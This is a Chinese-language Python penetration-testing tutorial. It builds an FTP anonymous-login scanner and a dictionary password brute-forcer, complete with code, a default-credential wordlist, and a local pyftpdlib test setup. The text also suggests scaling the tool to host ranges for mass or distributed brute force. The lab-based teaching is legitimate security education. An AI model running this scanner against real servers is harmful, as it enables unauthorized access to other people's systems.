介绍
本项目从使用 Python 实现一个 FTP 弱密码扫描器开始,介绍 Python 渗透测试技术。该实验涉及理解 FTP 服务器原理、使用 ftplib 库以及其他相关知识。
- 理解 FTP 服务器:了解 FTP 服务器、其用途以及工作方式。
- 使用 FTPlib 库:利用 Python 中的 ftplib 库实现一个 FTP 匿名扫描器和一个暴力密码破解器。
- 使用 argparse 库:学习如何使用 Python 中的 argparse 库处理命令行参数。
- 在 Ubuntu 上设置 FTP 服务器:按照说明在本地设置一个 FTP 服务器用于测试。
本项目难度适中,适合对 Python 有基本了解的用户。这是一个巩固和强化 Python 基础知识并获得 Python 渗透测试技术实践经验的好机会。
👀 预览
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP匿名登录失败!
[+] 尝试:ftp:ftp
[+] 尝试:root:root
[+] 尝试:root:toor
[+] 尝试:admin:admin
[+] 尝试:geust:geust
[+] 尝试:admin:123456
[+] 127.0.0.1 FTP登录成功:admin:123456
[+] 主机:127.0.0.1 用户名:admin 密码:123456
[*]-------------------扫描结束!--------------------[*]
🎯 任务
在本项目中,你将学习:
- 如何理解 FTP 服务器的工作原理
- 如何使用 Python 中的 ftplib 库实现一个 FTP 匿名扫描器
- 如何使用密码字典为 FTP 服务器实现一个暴力密码破解器
- 如何使用 argparse 库处理命令行参数
- 如何在 Ubuntu 上设置一个 FTP 服务器用于测试
🏆 成果
完成本项目后,你将能够:
- 使用 Python 与 FTP 服务器进行交互
- 实现对匿名登录和弱密码的扫描
- 在 Python 中处理命令行参数
- 在 Ubuntu 上设置一个 FTP 服务器
FTP 服务器
FTP 服务器(文件传输协议服务器)是一台遵循 FTP 协议在互联网上提供文件存储和访问服务的计算机。FTP 代表文件传输协议,它是一种专门为文件传输设计的协议。简单来说,支持 FTP 协议的服务器就是 FTP 服务器。
FTP 是一种仅基于 TCP 的服务,不支持 UDP。FTP 的独特之处在于它使用两个端口,一个数据端口和一个命令端口(也称为控制端口)。通常,这两个端口分别是 21(命令端口)和 20(数据端口)。然而,数据端口并不总是 20,这取决于 FTP 的工作模式。这就是主动式和被动式 FTP 的主要区别。主要有两种工作模式:
- 主动式 FTP FTP 服务器的控制端口是 21,数据端口是 20。因此,在设置静态映射时,只需要打开端口 21。服务器将使用端口 20 与客户端发起连接。
- 被动式 FTP 服务器的控制端口是 21,数据端口是随机分配的。客户端发起与相应数据端口的连接,所以仅打开端口 21 进行静态映射是不够的。在这种情况下,需要一个 DMZ(非军事区)。
在本项目中,开发一个 FTP 扫描器主要关注以下两个方面:
- 扫描匿名 FTP 扫描匿名 FTP 登录主要用于批量扫描。扫描单个 FTP 服务器的成功率相对较低,但仍有可能成功。有些人可能会想,现在还有人不设置密码吗?许多网站仍然为用户提供 FTP 服务以方便下载资源,所以允许匿名登录并不奇怪。更令人惊讶的是,网站管理员为了方便更新网站访问软件而开放 FTP 匿名登录。这给我们提供了很多机会,特别是在攻击后一种类型的服务器时,它很容易受到攻击。在未来,我将解释如何在找到 FTP 目录中的网页后获取一个 shell。
- 扫描弱 FTP 密码 扫描弱 FTP 密码本质上就是暴力破解。为什么我们不称之为暴力破解呢?因为我们只是在扫描一些简单的密码组合,而不是所有可能的组合。另外,考虑到我们不可能活上千年,我们没有那么多时间去进行彻底的暴力破解!这只是一个密码而已。如果我们找不到弱密码,我们可以继续前进。世界上有无数的花,为什么要在一朵花上执着呢?然而,如果你真的喜欢这个 FTP 服务器,未来我会教你其他渗透服务器的方法!
FTP 匿名扫描器的实现
在这种情况下,我们将使用 Python 中 ftplib 库的 FTP 类。FTP 类实现了 FTP 客户端的大部分功能,例如连接到 FTP 服务器、查看服务器上的文件、上传和下载文件等。接下来,我们将定义函数 anonScan(hostname) 来实现对允许匿名登录的 FTP 服务器的扫描。代码如下:
## 匿名登录扫描器
def anonScan(hostname): ## 参数是主机名
try:
with FTP(hostname) as ftp: ## 创建一个 FTP 对象
ftp.login() ## FTP 匿名登录
print('\n[*] ' + str(hostname) + " FTP 匿名登录成功!") ## 如果没有引发异常,说明登录成功
return True
except Exception as e: ## 如果引发异常,说明匿名登录失败
print('\n[-] ' + str(hostname) + " FTP 匿名登录失败!")
return False
代码很简洁,注释解释了代码的含义。这个函数的总体思路是:首先,我们使用主机名构造一个 FTP 对象(名为 ftp)。然后,我们在这个 ftp 对象上调用不带任何参数的 login() 函数,以发起对 FTP 服务器的匿名登录。如果在登录过程中没有引发异常,说明匿名登录成功;否则,说明匿名登录失败。
FTP 弱密码扫描
FTP 弱密码扫描依赖于用户名和密码字典。在我们的实验环境中,将提供~/project/pwd.txt作为密码字典。
ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme
接下来,我们将在~/project目录中创建一个代码文件ftpScanner.py,以按照字典中的格式实现对 FTP 弱密码的扫描。代码如下:
## 暴力破解
def vlcLogin(hostname, pwdFile): ## 参数(主机名,字典文件)
try:
with open(pwdFile, 'r') as pf: ## 打开字典文件
for line in pf.readlines(): ## 读取字典文件中的每一行
time.sleep(1) ## 等待 1 秒
userName = line.split(':')[0] ## 从读取的内容中提取用户名
passWord = line.split(':')[1].strip('\r').strip('\n') ## 从读取的内容中提取密码
print('[+] 尝试:' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp: ## 使用主机名作为参数创建一个 FTP 对象
ftp.login(userName, passWord) ## 使用提取的用户名和密码登录到 FTP 服务器
## 如果没有引发异常,登录成功,打印主机名、用户名和密码
print('\n[+] ' + str(hostname) + ' FTP 登录成功:'+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
## 如果引发异常,说明登录不成功,我们继续尝试其他用户名和密码
pass
except IOError as e:
print('错误:密码文件不存在!')
print('\n[-] 无法破解 FTP 密码,请更换密码字典后重试!')
return (None,None)
这段代码片段会遍历字典以读取用户名和密码,并尝试登录。如果登录成功,就意味着找到了用户名和密码。该函数将主机名定义为一个可以用逗号分隔的字符串。找到一个密码并不会终止程序,而是会继续在其他主机上扫描弱密码,直到所有主机都被扫描完毕。
命令行解析
到目前为止,我们的 FTP 扫描器几乎已经完成。代码不长且相当简单。现在,我们需要做的是让我们的脚本能够处理命令行输入,以控制扫描哪些主机。为了处理命令行参数,我们将使用 Python 中的 argparse 库。这个库是 Python 的一个内置模块,它使命令行解析变得非常简单。让我们通过查看以下代码来见证 argparse 的强大功能:
## 使用描述创建一个 ArgumentParser 对象
parser = argparse.ArgumentParser(description='FTP Scanner')
## 添加 -H 命令,其中 dest 指的是我们用于获取 -H 之后传递的值的变量名,help 提供此命令的帮助信息
parser.add_argument('-H', dest='hostName', help='The host list with "," space')
parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
通过使用 argparse 库来解析命令行参数,我们可以根据添加参数时提供的 help 关键字自动生成一个帮助文档。结果如下所示:
python3 ftpScanner.py -h
usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
FTP Scanner
optional arguments:
-h, --help show this help message and exit
-H HOSTNAME The host list with "," space
-f PWDFILE Password dictionary file
在处理复杂命令时,argparse 的强大功能更加明显。由于这是 Python 的一个基本特性,我不会对 Python 中包含的库进行过多详细介绍。
所有代码的整合
基本代码已经实现,现在我们只需要整合上述代码。代码如下:
from ftplib import *
import argparse
import time
## 匿名登录扫描
def anonScan(hostname):
try:
with FTP(hostname) as ftp:
ftp.login()
print('\n[*] ' + str(hostname) + " FTP 匿名登录成功!")
return True
except Exception as e:
print('\n[-] ' + str(hostname) + " FTP 匿名登录失败!")
return False
## 暴力破解
def vlcLogin(hostname, pwdFile):
try:
with open(pwdFile, 'r') as pf:
for line in pf.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print('[+] 尝试:' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp:
ftp.login(userName, passWord)
print('\n[+] ' + str(hostname) + ' FTP 登录成功:'+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
pass
except IOError as e:
print('错误:密码文件不存在!')
print('\n[-] 无法破解 FTP 密码,请更换密码字典后重试!')
return (None,None)
def main():
parser = argparse.ArgumentParser(description='FTP 扫描器')
parser.add_argument('-H',dest='hostName',help='以逗号分隔的主机列表')
parser.add_argument('-f',dest='pwdFile',help='密码字典文件')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
if hostNames == ['None']:
print(parser.parse_args(['-h']))
exit(0)
for hostName in hostNames:
username = None
password = None
if anonScan(hostName) == True:
print('主机:' + hostName + ' 可以匿名访问!')
elif pwdFile!= None:
(username,password) = vlcLogin(hostName,pwdFile)
if password!= None:
print('\n[+] 主机:' + hostName + ' 用户名:' + username + \
' 密码:' + password)
print('\n[*]-------------------扫描结束!--------------------[*]')
if __name__ == '__main__':
main()
至此,我们的代码就完成了。通过一些修改,我们可以让这个扫描器更加强大。例如,可以指定主机名范围以实现大规模扫描,或者修改代码以对 FTP 用户名和密码进行分布式暴力破解,增加字典容量并大幅提高成功率。
设置 FTP 服务器
接下来,我们需要在本地设置一个 FTP 服务器来测试我们的扫描器。在这里,我们将使用 Python 中的 pyftpdlib 库来设置 FTP 服务器。pyftpdlib 是一个用于 FTP 服务器的 Python 库,可用于快速构建一个 FTP 服务器。安装 pyftpdlib 非常简单,只需使用 pip 命令。在终端中输入以下命令来安装 pyftpdlib 库:
sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21
默认情况下,允许匿名登录。
扫描测试
既然我们的环境已经搭建好了,就可以开始测试我们的 FTP 弱密码扫描器了。
cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 FTP匿名登录成功!
主机: 127.0.0.1 可以匿名访问!
[*]-------------------扫描结束!--------------------[*]
在这个测试中,我们主要关注匿名登录。至于弱密码的暴力破解,你可以找到自己的密码字典并尝试破解 FTP 服务器。
现在,我们尝试给 FTP 服务器添加一个密码并再次进行测试。首先,我们需要停止 FTP 服务器,然后使用密码重新启动它。
sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP匿名登录失败!
[+] 尝试: ftp:ftp
[+] 尝试: root:root
[+] 尝试: root:toor
[+] 尝试: admin:admin
[+] 尝试: geust:geust
[+] 尝试: admin:123456
[+] 127.0.0.1 FTP登录成功: admin:123456
[+] 主机: 127.0.0.1 用户名: admin 密码: 123456
[*]-------------------扫描结束!--------------------[*]
总结
本项目实现了一个 FTP 弱密码扫描器,运用了以下要点:
- FTP 服务器的基本概念
- 使用 FTPlib 逐步实现 FTP 弱密码扫描器
- 使用 argparse 解析命令行参数
- 设置测试环境的方法。



